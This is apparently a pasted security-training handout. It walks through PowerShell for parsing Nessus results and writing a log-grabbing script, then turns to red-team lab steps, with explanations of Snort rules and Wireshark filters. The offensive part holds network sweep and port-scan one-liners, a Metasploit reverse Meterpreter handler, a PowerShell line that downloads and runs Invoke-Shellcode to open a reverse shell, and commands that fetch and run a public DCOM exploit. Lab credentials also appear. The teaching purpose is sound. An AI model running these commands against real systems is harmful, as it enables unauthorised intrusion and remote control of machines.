4882. Import-Csv C:\class_nessus.csv | where {$_.risk -eq "high"}
4883. ---------------------------------------------------------------
4884.
4885. use the Select-Object cmdlet and only get unique entries:
4886. ------------------------Type This-----------------------------
4887. Import-Csv C:\class_nessus.csv | where {$_.risk -eq "high"} | select host -Unique
4888.
4889. Import-Csv C:\class_nessus.csv | where {"high","medium","low" -contains $_.risk} | select "Plugin ID", CVE, CVSS, Risk, Host,
     Protocol, Port, Name | Out-GridView
4890. ------------------------Type This-----------------------------
4891.
4892. ConvertTo-Html cmdlet and turn it in to an HTML report in list format:
4893. ------------------------Type This-----------------------------
```

```
Import-Csv C:\class_nessus.csv | where {"high","medium","low" -contains $_.risk} | select "Plugin ID", CVE, CVSS, Risk, Host,
Protocol, Port, Name | ConvertTo-Html -As List > C:\report2.html
-----------------------------------------------------------------




###############################################
# Introduction to scripting and toolmaking #
###############################################
https://www.youtube.com/watch?v=usiqXcWb978

Start the ISE


CTRL+R









Get-EventLog -LogName application

```

```
4921.
4922. ----------------------------------------------------------------------------------------------
4923. --- Now run the script ---
4924.
4925. ---------------------------Type This-----------------------------------
4926.
4927. .\GrabLogs.ps1
4928.
4929.
4930. ----------------------------------------------------------------------------------------------
4931.
4932.
4933.
4934. $LogName="application"
4935. Get-EventLog -LogName $LogName | Export-Clixml C:\Users\Workshop\Desktop\Scripts\$LogName.xml
4936.
4937.
4938.
4939.
4940. --- Now run the script ---
4941.
4942. ---------------------------Type This-----------------------------------
4943.
4944. .\GrabLogs.ps1
4945.
4946.
4947. ----------------------------------------------------------------------------------------------
4948.
```

```
4949.
4950. param(
4951.     $LogName="application"
4952. )
4953. Get-EventLog -LogName $LogName | Export-Clixml C:\Users\Workshop\Desktop\Scripts\$LogName.xml
4954.
4955.
4956.
4957. --- Now run the script ---
4958.
4959. .\GrabLogs.ps1
4960.
4961.
4962. ----------------------------------------------------------------------------------------------
4963. --- Now run the script ---
4964.
4965. .\GrabLogs.ps1 -L[ TAB Key ]
4966.
4967. .\GrabLogs.ps1 -LogName         (you should now see LogName spelled out)
4968.
4969.
4970. .\GrabLogs.ps1 -LogName system
4971.
4972.
4973. ----------------------------------------------------------------------------------------------
4974.
4975.
4976.
```

```
param(
    $LogName="application",
    $Quantico
)
Get-EventLog -LogName $LogName | Export-Clixml C:\Users\Workshop\Desktop\Scripts\$LogName.xml



-------------------------------------------------------------------------------------------------
--- Now run the script ---

.\GrabLogs.ps1 -Q[ TAB Key ]

.\GrabLogs.ps1 -Quantico        (you should now see Quantico spelled out)



-------------------------------------------------------------------------------------------------
--- Now get help on the script ---

get-help .\GrabLogs.ps1
GrabLogs.ps1 [[-LogName] <Object>] [[-Quantico] <Object>]



-------------------------------------------------------------------------------------------------
```

```
param(
    [string]$LogName="application",
    $Quantico
)
Get-EventLog -LogName $LogName | Export-Clixml C:\Users\Workshop\Desktop\Scripts\$LogName.xml



--------------------------------------------------------------------------------------------------
--- Now get help on the script ---

get-help .\GrabLogs.ps1
GrabLogs.ps1 [[-LogName] <String>] [[-Quantico] <Object>]




--------------------------------------------------------------------------------------------------
param(
    [string[]]$LogName="application",
    $Quantico
)
Get-EventLog -LogName $LogName | Export-Clixml C:\Users\Workshop\Desktop\Scripts\$LogName.xml



--------------------------------------------------------------------------------------------------
--- Now get help on the script ---
```

```
5033.
5034. get-help .\GrabLogs.ps1
5035. GrabLogs.ps1 [[-LogName] <String[]>] [[-Quantico] <Object>]
5036.
5037.
5038.
5039. -------------------------------------------------------------------------------------------
5040. [CmdletBinding()]
5041. param(
5042.     [Parameter(Mandatory=$True)]
5043.     $LogName
5044. )
5045. Get-EventLog -LogName $LogName | Export-Clixml C:\Users\Workshop\Desktop\Scripts\$LogName.xml
5046.
5047.
5048.
5049. -------------------------------------------------------------------------------------------
5050. --- Now run the script ---
5051.
5052. .\GrabLogs.ps1
5053.
5054.
5055.
5056.
5057.
5058. -------------------------------------------------------------------------------------------
5059. [CmdletBinding()]
5060. param(
```

```
    [Parameter(Mandatory=$True)]
    $LogName
)
Get-EventLog -LogName $LogName | Export-Clixml C:\Users\Workshop\Desktop\Scripts\$LogName.xml
```

```
<#

.Synopsis
This is a just a short explantion of the script

.Description
This is where provide a more information about how to use the script

.Parameter LogName
This is where you specify the names of different logs

./Syntax
GrabLogs.psl -LogName security


.Example
GrabLogs.psl -LogName security
```

```
5089.
5090. #>
5091. [CmdletBinding()]
5092. param(
5093.     [Parameter(Mandatory=$True)]
5094.     $LogName
5095. )
5096. Get-EventLog -LogName $LogName | Export-Clixml C:\Users\Workshop\Desktop\Scripts\$LogName.xml
5097.
5098.
5099.
5100.
5101. ----------------------------------------------------------------------------------------------
5102. --- Now get help on the script ---
5103.
5104. get-help .\GrabLogs.ps1
5105.
5106.
5107.
5108.
5109.
5110.
5111. ----------------------------------------------------------------------------------------------
5112. --- Now get help on the script ---
5113. get-help .\GrabLogs.ps1 -full
5114.
5115.
5116.
```

```
5117.
5118.
5119.
5120.
5121. <#
5122.
5123. .Synopsis
5124. This is a just a short explantion of the script
5125.
5126. .Description
5127. This is where provide a more information about how to use the script
5128.
5129. .Parameter LogName
5130. This is where you specify the names of different logs
5131.
5132. ./Syntax
5133. GrabLogs.psl -LogName security
5134.
5135.
5136. .Example
5137. GrabLogs.psl -LogName security
5138.
5139.
5140. #>
5141. function Get-GrabLogs{
5142.     [CmdletBinding()]
5143.     param(
5144.         [Parameter(Mandatory=$True)]
```

```
        $LogName
    )
    Get-EventLog -LogName $LogName | Export-Clixml C:\Users\Workshop\Desktop\Scripts\$LogName.xml
}

#######################################################
# Running Powershell From A Command Prompt         #
# Using Powersploit & Nishang              #
#######################################################

COMMAND & 1 PARAMATER SYNTAX:
    powershell -command "& {&'some-command' someParam}"



MULTIPLE COMMAND & PARAMETER SYNTAX
    powershell -command "& {&'some-command' someParam}"; "& {&'some-command' -SpecificArg someParam}"



Tools to download to the web root (/var/www) of your infosecaddicts-Ubuntu-VM:
git clone https://github.com/mattifestation/PowerSploit.git
git clone https://github.com/samratashok/nishang

from the infosecaddicts home dir copy nc.exe to /var/www/ folder

user:infosecaddicts
pass:infosecaddicts
```

```
5173.
5174. ------------------------Type This-------------------------------
5175. cd ~
5176. sudo cp nc.exe /var/www/
5177.
5178. cd /var/www/html/
5179. sudo git clone https://github.com/samratashok/nishang
5180. sudo git clone https://github.com/mattifestation/PowerSploit
5181.
5182.
5183. ********************************* Simple Ping Sweep *********************************
5184. powershell -command "50..100 | % {\""192.168.150.$($_): $(Test-Connection -count 1 -comp 192.168.150.$($_) -quiet)\""}"
5185.
5186.
5187.
5188.
5189.
5190. ********************************* Simple Port 445 Sweep *********************************
5191. powershell -command "1..255 | % { echo ((new-object Net.Sockets.TcpClient).Connect(\""192.168.150.$_\"",445)) \""192.168.150.$_\""}
     2>$null"
5192.
5193.
5194.
5195.
5196.
5197.
5198. ********************************* Simple Port Scan *********************************
```

```
5199. powershell -command "1..1024 | % { echo ((new-object Net.Sockets.TcpClient).Connect(\""192.168.150.XX\"",$_)) \""$_ is open\""}
      2>$null"
5200.
5201.
5202.
5203.
5204.
5205.
5206. ********** Powershell Download & Execute Reverse Meterpreter **********
5207. from ubuntu host browse to metasploit folder
5208. cd ~/toolz/metasploit/
5209.
5210. sudo ./msfconsole
5211. use exploit/multi/handler
5212. set ExitOnSession false
5213. set payload windows/meterpreter/reverse_https
5214. set LHOST 192.168.150.129
5215. set LPORT 4443
5216. set EXITFUNC thread
5217. exploit -j
5218.
5219.
5220.
5221. powershell -command "IEX (New-Object Net.WebClient).DownloadString('https://s3.amazonaws.com/infosecaddictsfiles/Invoke-
      Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.150.129 -Lport 4443 -Force"
5222.
5223.
5224.
```

```
5225.
5226.
5227.
5228.
5229. ##############################
5230. # Understanding Snort rules #
5231. ##############################
5232. Field 1: Action - Snort can process events in 1 of 3 ways (alert, log, drop)
5233.
5234. Field 2: Protocol - Snort understands a few types of traffic (tcp, udp, icmp)
5235.
5236. Field 3: Source IP (can be a variable like $External_Net, or an IP, or a range)
5237.
5238. Field 4: Source Port (can be a variable like $WebServer_Ports, or a port number, or a range of ports)
5239.
5240. Field 5: Traffic Direction (->)
5241.
5242. Field 6: Destination IP (can be a variable like $External_Net, or an IP, or a range)
5243.
5244. Field 7: Destination Port (can be a variable like $WebServer_Ports, or a port number, or a range of ports)
5245.
5246. Field 8: MSG - what is actually displayed on the analysts machine
5247.
5248.
5249. Let's look at 2 simple rules
5250. ------------------------------------------------------------------------------
5251. alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:”NETBIOS DCERPC ISystemActivator \
5252. bind attempt”; flow:to_server,established; content:”|05|”; distance:0; within:1; \
```

```
content:"|0b|"; distance:1; within:1; byte_test:1,&,1,0,relative; content:"|A0 01 00 \
00 00 00 00 00 C0 00 00 00 00 00 00 46|"; distance:29; within:16; \
reference:cve,CAN-2003-0352; classtype:attempted-admin; sid:2192; rev:1;)

alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB DCERPC ISystemActivator bind \
attempt"; flow:to_server,established; content:"|FF|SMB|25|"; nocase; offset:4; \
depth:5; content:"|26 00|"; distance:56; within:2; content:"|5c \
00|P|00|I|00|P|00|E|00 5c 00|"; nocase; distance:5; within:12; content:"|05|"; \
distance:0; within:1; content:"|0b|"; distance:1; within:1; \
byte_test:1,&,1,0,relative; content:"|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00 \
46|"; distance:29; within:16; reference:cve,CAN-2003-0352; classtype:attempted-admin; \
sid:2193; rev:1;)
--------------------------------------------------------------------------------



From your Linux machine ping your Windows machine
ping 192.168.150.1



Start wireshark and let's create some simple filters:

Filter 1:
ip.addr==192.168.150.1


Filter 2:
```

```
ip.addr==192.168.150.1 && icmp



Filter 3:
ip.addr==192.168.150.1 && !(tcp.port==22)

Now stop your capture and restart it (make sure you keep the filter)




Back to your Linux machine:
[ CTRL-C ] - to stop your ping

wget http://downloads.securityfocus.com/vulnerabilities/exploits/oc192-dcom.c


gcc -o exploit oc192-dcom.c

./exploit


./exploit -d 192.168.150.1 -t 0



```

```
5309. Now go back to WireShark and stop the capture.
```

RAW Paste Data

```
##############################
# Basic Scanning Methodology #
# Transition from Blue to    #
# Red Team Tactics           #
##############################

- Ping Sweep
What's alive?
--------------------------Type This-----------------------------------
```